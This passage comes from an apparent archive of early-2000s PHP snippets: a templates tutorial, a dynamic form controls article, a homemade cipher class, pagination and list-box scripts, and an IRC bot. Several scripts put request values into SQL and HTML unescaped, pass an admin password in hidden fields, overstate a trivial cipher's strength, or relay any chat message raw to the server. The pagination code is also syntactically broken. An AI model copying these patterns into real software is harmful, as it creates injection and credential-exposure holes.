planning to develop a PHP application. \n First question: what are templates? \n \n Templates are text files usually containing HTML code and \"some tags\" \n to fill the HTML with dinamically generated content. Mantaining your \n PHP code separated from the files responsable for the visual part of your \n site, will give the ability to change your site's look & feel in a \n simple and fast way in the future, without having to touch you PHP code.\n Embedding \n HTML in your PHP is not a good idea. The more you keep your HTML independent \n the easier it will be to maintain you site. \n An approach like the following, having a PHP file which outputs the HTML \n tags (we assume you have to output the content of the variable $test): \n \n <CITE>\n<?\n echo \"<HTML>\n <HEAD></HEAD>\n <BODY>\n [some HTML here]\n $test\n [some more HTML] </BODY> </HTML>\";\n?> </CITE>\n is not convenient \n since changes to your HTML will require that you edit your PHP code. This \n approach can be somehow confusing and not confortable. \n A better solution could be: \n \n <CITE>\n <HTML>\n <HEAD></HEAD>\n <BODY>\n [you HTML here] <? echo $test; ?> [some more HTML]\n </BODY> </HTML>\n</CITE>\n which is \n not a template yet, but we are beginning to separate the HTML tags from \n PHP code. \n If you need to perform some actions before your <? \n echo $test; ?> to give the variable $test the correct value \n (i.e. accessing a database table and reading a column value) you'll have \n to add the necessary PHP code, for example at the very top of the file. \n Something like: \n \n <CITE><?\n // We assume your are running MySQL\n $query = \"SELECT myvalue FROM test_table\"; $result = mysql_query($query); $test = mysql_result($result,0,\"myvalue\");\n?>\n <HTML>\n <HEAD></HEAD>\n <BODY>\n [you HTML here] <? echo $test; ?> [some more HTML]\n </BODY> </HTML>\n</CITE>\n So we now \n have a unique PHP file where we intend to keep HTML tags and PHP code \n separated. This is simpler to mantain and will be clearer to any other \n who will have to edit and/or mantain your script. \n HTML tools like Dreamweaver can recognize PHP tags and will not alter \n your PHP code. I use to develop PHP applications where the visual part \n is rather complex and Dreamweaver is a good tool to help in the production \n process. \n So if your WYSIWYG HTML editor do not alter PHP code, you can open your \n script and just make the necessary changes to the HTML. The PHP will be \n generally shown as an icon and you can simply move the code behind that \n icon (if necessary) moving the icon itself. \n \n This sounds good enough, so: why should you use templates? \n Let's see how templates works (well, the way I use templates) and this \n will probably answer the question. \n \n First let's create the tamplate file (i.e. sample_template.html). It will \n contain HTML tags we need to create the visual part of our script. \n \n <CITE>\n <HTML>\n <HEAD>\n </HEAD>\n <BODY>\n [you HTML here] \n </BODY>\n </HTML>\n</CITE>\n After that, \n let's create the PHP file which will contain the PHP code we need:\n <CITE><?\n // We assume your are running MySQL\n $query = \"SELECT myvalue FROM test_table\"; $result = mysql_query($query); $test = mysql_result($result,0,\"myvalue\");\n include \"sample_template.html\";\n?>\n</CITE>\n We now need \n to make the last change to our HTML file:\n <CITE> <HTML>\n <HEAD></HEAD>\n <BODY>\n [you HTML here]\n <? echo $test; ?> </BODY> </HTML>\n</CITE>\n What we basically \n did is to separate the PHP code and the HTML in two different files. The \n PHP script file performs the necessary actions and, once done, includes \n the template (HTML) file. \n This is really better than the \"one-file\" solution since the \n HTML is clear and even graphic designers can open the template files and \n make visual changes to them, being sure they will not accidentally alter \n the PHP behind it.\n There are \n many approaches to the templates idea, the one I presented here is the \n one I found more confortable after using some of them. \n Here are some reference if you want to read something more about templates.\n <A href=\"http://www.phpbuilder.com/columns/sascha19990316.php3\" target=\"_blank\">Templates \n - why and how to use them in PHP3</A> (by Sasha Shumann) \n <A href=\"http://www.phpbuilder.com/columns/david20000512.php3\" target=\"_blank\">Templates, \n The PHPLIB Way</A> (by David Orr ) \n <A href=\"http://www.1perlstreet.com/xq/ASP/txtCodeId.314/lngWId.8/qx/vb/scripts/ShowCode.htm\" target=\"_blank\">Using \n Templates</A> (by Todd Williams) \n <A href=\"http://www.spilth.org/php/templates/\" target=\"_blank\">Includes \n and Templates with PHP</A> \n \n"},{"WorldId":8,"id":396,"LineNumber":1,"line":"Note: This article was originally written for and published by <a href=\"http://www.internet.com\">Internet.com</a> on <a href=\"http://www.phpbuilder.com\">phpbuilder.com</a>\n\n<h1>"Build Dynamic Form Controls with PHP"</h1> \n<img src='../images/rCreech.jpg' width='110' height='120' hspace='15' vspace='10' border='0' align=\"left\" alt='Richard Creech, Dreamriver.com'>\n<h4>Introduction</h4>\nHow do you build html form objects to make them dynamic? Why would you want to? What are examples of dynamic form objects scripted in php? We'll answer these questions and more, and provide you with simple, usable code in the pages ahead. By the time you've finished reading you will be able to create these dynamic form objects yourself and build better and smarter forms. \n\n<h4>Background - It all starts at the Form</h4>\nOur look at 'Building Dynamic Form Controls' is based on the understanding that you know html form objects and how to use html form objects in a web page. Briefly, these objects include text box, textarea, checkbox, radio, select, hidden, reset, submit, button and image objects and the form element itself. Each form object should be given a name. Each named object will have a value. The combination of name and value attributes are known as name=value pairs. Here's a plain text input type example of a name=value pair:\n\nText\n<code>\n/* the name=value pair is firstName= */ \n<input type=\"text\" name=\"firstName\" value=\"\">\n</code> \nUsing the standard form attribute called \"action\" is the way we decide what process or file will do something with our form data.\n\n<code>\n<form name=\"myForm\" method=\"post\" action=\"mailto:yourEmail@yourDomain.com\">\n</code>\nAlternatively - and frequently - we want a script to handle our form, and not simply email the data as in the form code above. It is here, in handling form objects after they are parsed by php, that we begin our discussion.\n\n\n<h4>Dynamic Scripting of Form Objects</h4>\nRemember filling out that web form, clicking on submit - but you missed something and got an error message instead? So you clicked on the 'Back' button, the form page loaded and ... all your entries were gone and you had to start from scratch again? Here's code to use instead. By using dynamic handling of any name=value pair we can avoid 'dead end' forms, and make it easy for the user to provide us data. We do this by building a form containing these objects. The objects themselves contain the values that we need. Here's how you code some of the more common objects on that form to retrieve the values you need:\n\n\n<h4>Build a Dynamic Text Input Type</h4>\n<code>\n/* The current value for $firstName will reappear in the text input type */ \n<input type=\"text\" name=\"firstName\" value=\"<?php echo $firstName;?>\">\n</code>\nWhen the form is submitted and then redisplayed it will contain the current value for the form object. Note that these values are not available forever! Unless otherwise handled, the values persist only while processing the form. If any another page is loaded without our form variables then we lose our $firstName variable value - and all our other variables. We will see one way to make variable values persist when we consider the hidden input type a bit later. But first let's take a simpler case - the textarea input type:\n\n\n<h4>Build a Dynamic Textarea Input Type</h4>\nTextarea - Simple example\n<code>\n/* Outcome: the textarea box is repopulated with the original input */ \n<textarea name=\"query\" cols=\"75\" rows=\"5\" wrap=\"soft\"><?php echo $query;?></textarea> \n</code>\nThis is one of my favorite uses of dynamic form controls. It just makes sense to automatically offer data that you will need, rather than re-enter it. If you have a long-winded sql statement that you will often need to retype then regenerating it with dynamic controls makes perfect sense. We can also use the 'if' decision structure to test if the user has chosen the functionality, in this case to 'reuse' the last query:\n\nTextarea - example with Decision \n<code>\n/* Outcome: the textarea box is repopulated with the original input - if chosen */ \n<textarea name=\"query\" cols=\"75\" rows=\"5\" wrap=\"soft\"><?php if ($showLastQuery == \"reuse\") {echo $query;}?></textarea> \n</code>\n\nThe user can make a choice to 'show the last query' by using the radio input type:\n\n\n<h4>Build a Dynamic Radio Input Type</h4>\n<code>\n/* Outcome: the radio input type chosen by the user remains checked */ \n<input type=\"radio\" name=\"showLastQuery\" value=\"reuse\" \n<?php if($showLastQuery == 'reuse'){echo \" CHECKED\";}?>> Reuse Query \n<input type=\"radio\" name=\"showLastQuery\" value=\"blank\" \n<?php if($showLastQuery == 'blank'){echo \" CHECKED\";}?>> Blank \n</code>\n \nThis code needs to make a decision in order to know if it should be ' CHECKED', or not. If no radio input type has been checked then there is no change to the ' CHECKED' indicator. Again, our code is simply maintaining the status quo for our form - we're wanting to display another form exactly like the one the user just filled out... and we can if we replicate each object with its correct value. And now on to checkboxes, which are just like radio input types, but with a little twist...\n\n\n<h4>Build a Dynamic Checkbox Input Type</h4>\n<code>\n/* Outcome: the checkbox input type chosen by the user remains checked */ \n<input type=\"checkbox\" name=\"showSummary\"<?php if($showSummary == \"on\"){echo \" CHECKED\";}?>> Summary \n</code>\nThis example code uses a 'showSummary' object - but the named object could be any of your checkboxes too. In order to test for the existence of a choice in the checkbox we test for the named object's value, and if the value is set then indicate so in our code as above. To put this another way, we look to see if our checkbox variable is \"on\". If it is, we dynamically render this in the form checkbox object. Because each checkbox should have its own name and value then we can test for and recreate any number of additional checkboxes as needed. To use the code above all you need to do is replace:\n1. the form object name with your own,\n2. the text label for the object, in this case it is called 'Summary'. Use your own.\n\n\nNow that we can build single form controls, let's move on to the multi faceted select list:\n\n\n<h4>Build a Dynamic Select List</h4>\n<code>\n/* Outcome: the select option chosen by the user remains selected */ \nCategory <select name=\"snack\"> \n\t<option value=\"<?php echo $snack;?>\" SELECTED><?php echo $snack;?></option> \n\t<option value=\"1\">Apples</option> \n\t<option value=\"Oranges\">Oranges</option> \n\t<option value=\"Kiwis\">Kiwis</option> \n</select> \nWhat it looks like: \nCategory <select name=\"snack\">\n<option value=\"<?php echo $snack;?>\" SELECTED><?php echo $snack;?></option>\n<option value=\"1\">Apples</option>\n<option value=\"Oranges\">Oranges</option>\n<option value=\"Kiwis\">Kiwis</option>\n</select>\n</code>\n\nThe distinguishing feature of this object is the use of the word ' SELECTED' which causes the option value associated with the label to be displayed to the user. Note that ' SELECTED' is a different word than ' CHECKED' - you need to use ' SELECT' with the select form object. While this code will return us the original form values and it is what we will use in our form, you should know that it also has unwanted side effects. One side effect is that NO text will show as the default value. It is nice to be able to see some choices. I haven't found a workable solution for this, other than using one form to add data with and another for updating the data. But it is really nice to just use the one form everywhere, including it where needed:\n\n<code>\n/* Outcome: myForm.php is parsed and inserted at the current page location */ \n<?php include(\"myForm.php\");?> \n</code>\n\nThe included file could be an 'Add User Data' form or perhaps a database search form. By making the form available again - retaining user set values - we make it easy for the user to make corrections or refine their search. \n\nA Second Select Side Effect\nThe second and not so obvious side effect concerns the selected object value. Look at the 'Apples' line. The value for this selection is actually \"1\". If you were to insert that value into a database and later retrieve it, then 'Apples' would NOT show as the selected value, instead the character \"1\" would display. Accordingly, we need to be careful in choosing the value so as to replicate or at least closely match the related label in order to maintain some semblance of interface continuity. Overall, using a dynamic select list means compromising 'perfect' functionality in order to achieve better efficiency in form design and usage - but still it's worth it.\n\n<h4>Build a Dynamic Hidden Input Type</h4>\nNext we look at an input type with more obscure utility - the hidden input type:\n\n\nHidden\n<code>\n/* Outcome: the name=value pair is passed along to the next script, but may be seen with 'View Source' */ \n<input type=\"hidden\" name=\"goal\" value=\"<?php echo $goal;?>\"> \n</code>\n\nI use $goal frequently in forms. It can act as the trigger in a switch() decision control construct, like this:\n\n<code>\n/* attain the goal - insert, update, delete, select, password lookup */ \nswitch ($goal) { \n case \"Add\" // offer the insert form - user adds a new listing \n \tinclude(\"addForm.php\"); \n break; \n} \n</code>\n\nThus we use a hidden variable which tells our processing script exactly what our goal is - and we could dynamically regenerate the hidden variable for use in the next page too. Sometimes I make this variable do double duty by using it as the page heading, which saves a bit of coding and correctly reports the purpose of the page. \n\n The last singular input type we'll look at is the submit input type:\n\n\n<h4>Build a Dynamic Submit Input Type</h4>\nSubmit - Simple \n<code>\n/* Outcome: the submit button will display a variable as its value */ \n<input type=\"submit\" name=\"submit\" value=\"<?php echo $goal;?>\"> \n</code>\nSubmit - more than one variable used in label \n<code>\n/* Outcome: the submit button will display more than one variable as its value */ \n<input type=\"submit\" name=\"submit\" value=\"<?php echo\"$goal #$diagramid - $buildingname\";?>\"> \n</code>\nThis submit button indicates its purpose to the user with $goal. We will know if it's a delete, update or other operation we're about to launch, because it's written right on the button! Furthermore, we reuse the database unique key and 'buildingname' to clearly establish the data we're working with. It's to the point. It lessens the chances of user error after too many cups of coffee and or too late in the morning...\n\n\nThat pretty well arrives at the end of the standard form controls most used - but what about combination controls? What are they, how can they help us and what does their code look like?\n\n\n<h4>Build a Combination Control</h4>\n<code>\n/* Outcome: the combo control will pass the embedded hidden value of a unique id */ \n<form name=\"Manage-Yellow-Listings\" action=\"adminResult.php\" method=\"post\" target=\"_blank\"> \n<input type=\"hidden\" name=\"recordNumber\" value=\"<?php echo $recordNumber;?>\"> \n \n<?php // The formuser and formpassword objects help maintain admin security ?> \n<input type=\"hidden\" name=\"formuser\" value=\"<?php echo $formuser;?>\"> \n<input type=\"hidden\" name=\"formpassword\" value=\"<?php echo $formpassword;?>\"> \nAdmin Goal \n<input type=\"radio\" name=\"goal\" value=\"Delete\">Delete \n<input type=\"radio\" name=\"goal\" value=\"Update\" CHECKED>Update \n<input type=\"submit\" name=\"submit\" value=\" Process \"> \n</form> \nIt looks like this:\n<table bgcolor=\"silver\" border=\"3\"><tr><td align=\"center\"> \nAdmin Goal \n<input type=\"radio\" name=\"goal\" value=\"Delete\">Delete \n<input type=\"radio\" name=\"goal\" value=\"Update\" CHECKED>Update \n<input type=\"submit\" name=\"submit\" value=\" Process \">\n</td></tr></table>\n</code>\n \nThis simple piece of code is REALLY handy. It gives you point and click database administration by bringing in the record index number as a hidden variable and offering a choice of radio buttons to trigger either the update or the delete process. Essentially all you need to do is look at the data for the record, click on 'Process' or keep scrolling down to the next record, which contains a similar dynamic control. What could be easier for a database administrator?\n\n\n<h4>Build a Javascript Back Control</h4>\nOur knowledge of building dynamic forms would not be complete without some mention of Javascript. Javascript, a language from the folks at Netscape - but also supported in Internet Explorer - gives us at least one useful control:\n \nBack Button \n<code>\n/* Outcome: makes a navigation control to go back, apparently faster than browser controls. */ \n<input type=\"button\" name=\"goBack\" value=\"<== Back\" onclick=\"history.back(1)\"> \n</code>\n \nWith this control you need to be aware that 'Back' means to the page last loaded in your browser, and not necessarily the logical previous page on the website. Care must be taken if using Javascript to build other controls because the Javascript language and its versions are unevenly supported in all browsers - or perhaps not supported at all. The Back history.location method was first introduced in Navigator 2 and Internet Explorer 3. If your users have one of those browsers or newer, then this control is fairly safe to use.\n\n<h4>Looking at More Source Code</h4>\nYou can see most of these controls in live action at <a href=\"http//www.dreamriver.com/phpYellow/\">http//www.dreamriver.com/phpYellow/</a> . You can also download the php source code for phpYellow and see how these controls all fit and flow together, as well as observing the password and username secured backend Administration pages and source code in the distribution files. The distribution files may be found at <a href=\"http//www.dreamriver.com/software/\">http//www.dreamriver.com/software/</a> . Please note, the source code for phpYellow is not up for discussion here - there remains lots of room for improvement and there is another forum for that - rather it is the dynamic rendering of form objects described herein which I will be happy to answer your questions on at any time.\n\n<h4>Build a Control - Summary</h4>\nWe've looked at almost every html form object input type. We've shown sample code, with comments, detailing how the object behavior is dynamically rendered. We learned that it's really just name=value pairs, and that we use php as the provider of the value. Along the way we learned a few tricks and techniques in handling these controls. We even saw a useful combination control and got our first glimpse at Javascript enhanced controls. Overall, we now know how to dynamically script form objects in php by approaching them one object at at time. Building dynamic controls makes our forms smarter, improves the user surfing experience and can reduce the amount of time you spend developing static html forms. One dynamic form will often do the job much better!\n\n\t\t\n\t\t\n\t\tEnd of Document"},{"WorldId":8,"id":404,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":409,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":410,"LineNumber":1,"line":"<?\n\t// This script is (c)2001 F.Kranen http://www.odsync.net/\n\t// USE AT OWN RISK! \n\t// This is the standard crypt key. To make it real hard for others to decode, use a long string with weird characters.\n\tdefine ( \"FABS_CRYPT_STRING\", \"F@B$CrYpT1$D@B0mB\");\n\t\n\t//! FabsCrypt class\n\tclass FabsCrypt\n\t{\n\t\n\t\t//! This function takes a string, encodes it and returns the crypted string\n\t\tfunction crypt ( $str )\n\t\t{\n\t\t\t$crypted\t\t\t= \"\";\n\t\t\t$cryptString\t\t= FABS_CRYPT_STRING;\n\t\t\t\n\t\t\tfor ( $i=0; $i<strlen($str); $i++ )\n\t\t\t{\n\t\t\t\t$iC\t\t\t\t\t= $i % strlen ( $cryptString );\n\t\t\t\t$crypted\t\t\t.= chr ( myabs ( ord ( $str[$i] ) + ord ( $cryptString[$iC] ) ) );\n\t\t\t}\n\t\t\t\n\t\t\treturn $crypted;\n\t\t}\n\t\n\t\t//! This function takes a string, decodes it and returns the decrypted string\n\t\tfunction decrypt ( $str )\n\t\t{\n\t\t\t$decrypted\t\t\t= \"\";\n\t\t\t$cryptString\t\t= FABS_CRYPT_STRING;\n\t\t\t\n\t\t\tfor ( $i=0; $i<strlen($str); $i++ )\n\t\t\t{\n\t\t\t\t$iC\t\t\t\t\t= $i % strlen ( $cryptString );\n\t\t\t\t$decrypted\t\t\t.= chr ( myabs ( ord ( $str[$i] ) - ord ( $cryptString[$iC] ) ) );\n\t\t\t}\n\t\t\n\t\t\treturn $decrypted;\n\t\t}\n\t}\n\t//! Function needed by crypt and decrypt\n\tfunction myabs ( $i )\n\t{\n\t\tif ( $i > 255 )\n\t\t\treturn $i - 255;\n\t\telse\n\t\t\treturn $i;\n\t}\n\t\n\t$fabscrypt\t\t= new FabsCrypt ( );\n\t\n\t$original\t\t= \"This is a string wich will be encrypted and hopefully decrypted :P\";\n\t$crypted\t\t= $fabscrypt->crypt ( $original );\n\t$decrypted\t\t= $fabscrypt->decrypt ( $crypted );\n\t\n\techo \"Original: $original Crypted: $crypted Decrypted: $decrypted\"\n?>"},{"WorldId":8,"id":412,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":413,"LineNumber":1,"line":"****************************************************************\n****************************************************************\n** This code will search trough records in an SQL database and**\n** display the amount of results that you want. If there are **\n** more records than the maximum amount it will display **\n** 'Previous 1,2,3,4,etc. 'Next'. This code works!!! If you **\n** want to see this code alive, you can visit one of the sites**\n** we have made. www.yipee.nl uses this code on several pages **\n** If you have any questions you can send me an email at the **\n** following address : dorst@ddwebdesign.nl **\n** **\n** Note : This code seems long and complicated but if you read**\n** the comment carefully you'll see its actually very easy! **\n****************************************************************\n****************************************************************\n* = Not nessesary for this code to work, so you can delete this stuff if you want.\n<?php \n// Connect to SQL database\n$global_db = mysql_connect('localhost', 'username', 'password');\nmysql_select_db('databasename', $global_db);\n// First query to find out how many records we have\n$query = \"SELECT Fields FROM Table WHERE your conditions\";\n$result = mysql_query($query);\n// Number of records found\n$num_record = mysql_num_rows($result);\n// Number of records you want to display per page\n$display = 25;\n// Message when no records found\n$XX = 'Sorry, no results were found!';\n// If there are no records then startrow is 0\nif (empty($startrow)) {\n $startrow=0;\n}\n// Actual query, watch the end of the query, here's where we set the LIMIT per page\n$query2 = \"SELECT Fields FROM Tabel WHERE your conditions LIMIT $startrow, $display\";\n$result2 = mysql_query($query2);\n* Put the results in a table\nprint(\"<table border=0><tr>\");\n* I want only 3 results (in this case pictures) on 1 line, therefore i need a counter\n$counter = 0;\n// Fetch the results (Begin loop)\nwhile(list($Fields) = mysql_fetch_array($result2)) {\n* If we have one line of three, move to the next line\nif ($counter == 3) {\nprint(\"</tr><tr>\");\n* Set the counter to zero\n$counter = 0;\n}\n// Display the results on the screen, this is just an example, make your own tabel here\nprint(\"<td bgcolor=#004A80 width=200 height=200 align=center>$Field1 <a href=\\\"showdetail.php?ID=$id\\\"><img src=\\\"images/$Image\\\" border=0 width=170 height=170></a> FL $PriceNlg € $PriceEuro</td>\");\n* Increase the counter with 1\n$counter = $counter + 1;\n}\n// End loop\n// Calculate the previous results, only print 'Previous' if startrow is not equal to zero\nif ($startrow != 0) { \n $prevrow = $startrow - $display;\n print(\"<a href=\\\"$PHP_SELF?startrow=$prevrow\\\">Previous</a> \"); \\\\ Of cource here you can send more \n} variables seperated by &\n// Calculate the total number of pages\n$pages = intval($num_record / $display);\n// $pages now contains number of pages needed unless there are left over from division\nif ($num_record % $display) {\n\t// has left over from division, so add one page\n $pages++;\n}\n// Print the next pages, first check if there are more pages then 1\nif ($pages > 1) {\nfor ($i=1; $i <= $pages; $i++) { // Begin loop\n $nextrow = $display * ($i - 1);\n print(\"<a href=\\\"$PHP_SELF?startrow=$nextrow\\\">$i</a> \"); \\\\ Also here you can send more \n} variables seperatd by &\n}\n//End loop\n// Check if we are at the last page, if so, dont print 'Next'\nif (!(($startrow / $display) == $pages) && $pages != 1) {\n // not the last page so print 'Next'\n $nextrow = $startrow + $display;\n print(\"<a href=\\\"$PHP_SELF?startrow=$nextrow\\\">Next</a>\");\n}\n// If there are no results at all\nif ($num_record < 1) {\nprint(\"<table border=0 width=795><tr><td>$XX</td></tr></table>\");\n}\n?>\n"},{"WorldId":8,"id":424,"LineNumber":1,"line":"<PRE>\n\n<?\n// Author : Joel Agnel\n$address = \"name@emailaddress.com\";\n//The email address that is to validated\n$expression = \"^[_A-Za-z0-9-]+@[_A-Za-z-]+(\\.[A-Za-z]+)(\\.[A-Za-z]+)*$\";\n//The expression that describes\n//the pattern the address should have\nif(!ereg(\"$expression\",$address)) { //if $address is not matching to $expression\necho \"Sorry wrong address\"; // not valid\n} else { // else it is valid \necho \"The address is valid\";\n}\n?>\n<a href=\"mailto:joelagnel@siteskool.com\">Email me</a> for any help with this code\n</PRE>\n"},{"WorldId":8,"id":427,"LineNumber":1,"line":"<HTML>\n<title>Dynamic List Boxes in PHP</title>\n<BODY>\n<?PHP\n// NAME:\n// DynLB.php\n//\n// VERSION:\n// Version 1.0 - 2 Oct 2001\n// initial release\n//\n// AUTHOR:\n// Asmadi Ahmad (chloro@effitech.com)\n// www.effitech.com\n//\n// DESCRIPTION:\n// This script demonstrates the use of data from two related tables\n// to create two dynamic listboxes via Javascript\n// and shows example on how to retrieve the selected\n// items from listboxes.\n// The example tables will be automatically created for you, but\n// you have to supply the correct mySQL database parameters.\n\n//change the following database properties to suit your database\n$db_Database = \"mydbase\";\n$db_UserName = \"me\";\n$db_Password = \"password\";\n$db_Hostname = \"localhost\";\n\n//connect to the database\nmysql_connect($db_Hostname, $db_UserName, $db_Password) || UhOh(\"Can't Connect to Database: \".mysql_error());\nmysql_select_db($db_Database);\n\n$test=\"SELECT * FROM tblCountry\";\nif (mysql_query($test)) \n//if the tables already exist do nothing\n{ \n}\nelse \n//if the tables isn't there yet, create them and fill up the info\n{ \n$query[]=\" CREATE TABLE tblCountry (id int(10) DEFAULT '0' NOT NULL auto_increment, CountryName varchar(25), PRIMARY KEY(id), KEY id (id))\";\n$query[]=\" CREATE TABLE tblCity (id int(10) DEFAULT '0' NOT NULL auto_increment, CityName varchar(25), Countryid int(10), PRIMARY KEY(id), KEY id (id))\";\n$query[] = \"INSERT INTO tblCountry VALUES( 1, 'Malaysia')\";\n$query[] = \"INSERT INTO tblCountry VALUES( 2, 'USA')\";\n$query[] = \"INSERT INTO tblCountry VALUES( 3, 'UK')\";\n$query[] = \"INSERT INTO tblCity VALUES( 1, 'Kuala Lumpur',1)\";\n$query[] = \"INSERT INTO tblCity VALUES( 2, 'Penang',1)\";\n$query[] = \"INSERT INTO tblCity VALUES( 3, 'Kulim',1)\";\n$query[] = \"INSERT INTO tblCity VALUES( 4, 'New York',2)\";\n$query[] = \"INSERT INTO tblCity VALUES( 5, 'Chicago',2)\";\n$query[] = \"INSERT INTO tblCity VALUES( 6, 'London',3)\";\n$query[] = \"INSERT INTO tblCity VALUES( 7, 'Liverpool',3)\";\n\nwhile ($each_query = each($query))\n{\n\t$result = mysql_query($each_query[1]);\n\tif (!$result)\n\t{print(\"WARNING! We've encountered an error. Please check manually. Error: \".mysql_error()).\"\";\n\tdie();\n\t}\n}\n} \n//declare the form\necho \"<FORM name=f1 action='$PHP_SELF' method=post>\";\n//read the database\n \n$result = mysql_query(\"SELECT tblCountry.CountryName,tblCity.Countryid,tblCity.CityName,tblCity.id FROM tblCity,tblCountry WHERE tblCity.Countryid=tblCountry.id\");\n//write the table\necho \"<CENTER> Dynamic List Boxes Demo (in PHP) \";\necho \"<TABLE font style='font-family: verdana; font-size: 12; font-weight:700' border=1>\";\n// write the country's listbox...\n \necho \"<TR><TD valign=\\\"center\\\">Country</TD><TD><SELECT NAME=\\\"country\\\" SIZE=\\\"10\\\" ONCHANGE=\\\"countryselected(this);\\\" >\\n\";\n// write the entry code for the javascript...\n// \\n is used to force a new line so the resultant code is more readable\n$sJavaScript = \"function countryselected(elem){\\n for (var i = document.f1.city.options.length; i >= 0; i--){ \\n document.f1.city.options[i] = null;\\n\";\n// loop through the database..\n$sLastCountry=\"\";\nwhile ( $row = mysql_fetch_array($result) ) \n { \n // is this a new country?\n If ($sLastCountry!=$row[\"CountryName\"]){ \n \n // if yes, add the entry to the country's listbox\n $sLastCountry = $row[\"CountryName\"];\n echo \"\\n<OPTION VALUE='\".$row[\"Countryid\"].\"'>\".$sLastCountry.\"</OPTION>\";\n \n // and add a new section to the javascript...\n $sJavaScript = $sJavaScript.\"}\\n\".\"if (elem.options[elem.selectedIndex].value==\".$row[\"Countryid\"].\"){\\n\";\n }\n // and add a new city line to the javascript\n $sJavaScript = $sJavaScript.\"document.f1.city.options[document.f1.city.options.length] = new Option('\".$row[\"CityName\"].\"','\".$row[\"id\"].\"');\\n\";\n }\n // finish the country's listbox\n echo \"</SELECT></TD>\";\n // create the city listbox for no selection\n echo \"\\n<TD valign=\\\"center\\\">City</TD><TD><SELECT NAME=\\\"city\\\" SIZE=10>\";\n echo \"<OPTION>[no city selected]</OPTION>\";\n echo \"</SELECT></TD></TR>\";\n echo \"<TR><TD></TD><TD></TD><TD></TD><TD><INPUT TYPE=SUBMIT NAME='submitcity' VALUE='SUBMIT'></TD></TR>\";\necho \"</TABLE>\";\n // finish the javascript and write out\n $sJavaScript = $sJavaScript.\"\\n}\\n}\\n\";\n echo \"\\n<SCRIPT LANGUAGE=\\\"JavaScript\\\">\"; \n echo \"\\n\".$sJavaScript.\"\\n</SCRIPT>\\n\";\n//close the form\necho \"</FORM></center>\";\n\n//code to test the submit button\n//normally people would save the index in another table\n//this example only display the indexes\nif (\"SUBMIT\" == $submitcity) \n{\necho \"<center>Your Selected Country index= \".$country.\" \"; \necho \"Your Selected City index= \".$city.\" </center>\"; \n \n} \n ?> \n </body>\n </html>"},{"WorldId":8,"id":443,"LineNumber":1,"line":"<?\n\t// Set the PHP Timeout to 0, so we wont get killed by PHP\n\tset_time_limit(0);\n\t// define \\r\\n for easy use\n\tdefine ('CRLF', \"\\r\\n\");\n\t// Just some variables we need to connect\n\t$nick = 'PHPTest'; // The nick\n\t$username = 'an13810'; // The Username (username@hostname)\n\t$localhost = 'an13810.ath.cx'; // The localhost, this dosen't really metter, the server will find the right one, or use your IP.\n\t$remotehost = 'irc.ircnet.is'; // The server we are connecting to\n\t$realname = 'PHP IRC test'; // Your realname, (real my ass;)\n\t$channel = '#php.is'; // Channel we join to on connect\n\n\t// Open the socket\n\t$fp = fsockopen($remotehost,6666, &$err_num, &$err_msg, 30);\n\tif(!$fp) { // Error trying to connect\n\t\tprint \"Sorry, the server is not currently available!\";\n\t\texit;\n\t}\n\t// Send the connect data (This is a part of the IRC RCF, read it if you are going to code more irc stuff)\n\t$Header = 'NICK ' . $nick . CRLF;\n\t$Header .= 'USER ' . $username . ' ' . $localhost . ' ' . $remotehost . ' :' . $realname . CRLF;\n\tfputs($fp, $Header);\n\t// define response as a variable, so we wont get a error.\n\t$response = '';\n\twhile (!feof($fp)) { // Make a while loop untill the socket is closed\n\t\t$response .= fgets($fp, 1024); // Append 1024 bytes to $response (if any), from the socket buffer\n\t\twhile (substr_count($response,CRLF) != 0) { // Check if there is CRLF (linesplit) in $response, and do that untill none\n\t\t\t$offset = strpos($response, CRLF); // Just to know where the line ends\n\t\t\t$data = substr($response,0,$offset); // Split the line from the rest of the data\n\t\t\t$response = substr($response,$offset+2); // Split the rest from the line\n\t\t\tif ( substr($data,0,1) == ':' ) { // If the first char is : then go to this loop\n\t\t\t\t// Lines starting whit : are in this format\n\t\t\t\t// :sender command :text\n\t\t\t\t// So we need to split it like that\n\t\t\t\t$offsetA = strpos($data, ' '); // Find first space\n\t\t\t\t$dFrom = substr($data,1,$offsetA-1); // set $dFrom as the sender\n\t\t\t\t$offsetB = strpos($data, ' :'); // Find the first :\n\t\t\t\t$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1); // Set $dCommand as the command\n\t\t\t\t$dText = substr($data,$offsetB+2); // set $dText as the text.\n\t\t\t\tif ( substr($dCommand,0,3) == '004' ) {\n\t\t\t\t\t// This is just a part of the connect headers that the server send. (001,002,003,004,005)\n\t\t\t\t\t// Some server dont send 005, so i use 004 to know if i┬┤m connected\n\t\t\t\t\tfputs($fp,'JOIN ' . $channel . CRLF); // Join $channel\n\t\t\t\t}\n\t\t\t\telseif ( substr($dCommand,0,7) == 'PRIVMSG' ) {\n\t\t\t\t\t// If somebody msgs us, or if there is some tolk on a channal, this is send.\n\t\t\t\t\tif ( Ord(substr($dText,0,1)) == 1 ) {\n\t\t\t\t\t\t// If first chars acsii code is 1 then its a CTCP question.\n\t\t\t\t\t\tif ( substr($dText,1,4) == 'PING' ) {\n\t\t\t\t\t\t\t// Sombody CTCP pinged us, lets respond\n\t\t\t\t\t\t\tfputs($fp,':' . $nick . ' NOTICE ' . $dFrom . ' :' . chr(1) . 'PING ' . substr($dText,6) . chr(1) . CRLF);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ( substr($dText,1,7) == 'VERSION' ) {\n\t\t\t\t\t\t\t// Somebody versiond us, lets respond\n\t\t\t\t\t\t\tfputs($fp,':' . $nick . ' NOTICE ' . $dFrom . ' :' . chr(1) . 'VERSION PHPirc' . chr(1) . CRLF);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t// Else, do this. This is just a relay of all privemsg sent to use, will go right to the server.\n\t\t\t\t\t\t// so we can send RAW message for testing:)\n\t\t\t\t\t\tfputs($fp,$dText . CRLF);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\telseif ( substr($data,0,4) == 'PING' ) { // Else if first 4 chars are PING do this\n\t\t\t\t// If the server pings us, respond. This must be done or we will get timeout\n\t\t\t\tfputs($fp,'PONG ' . substr($data,5) . CRLF); \n\t\t\t}\n\t\t}\n\t}\n\t// If we are here, then the server has disconnected use\n\t\n\t// Close the socket\n\tfclose 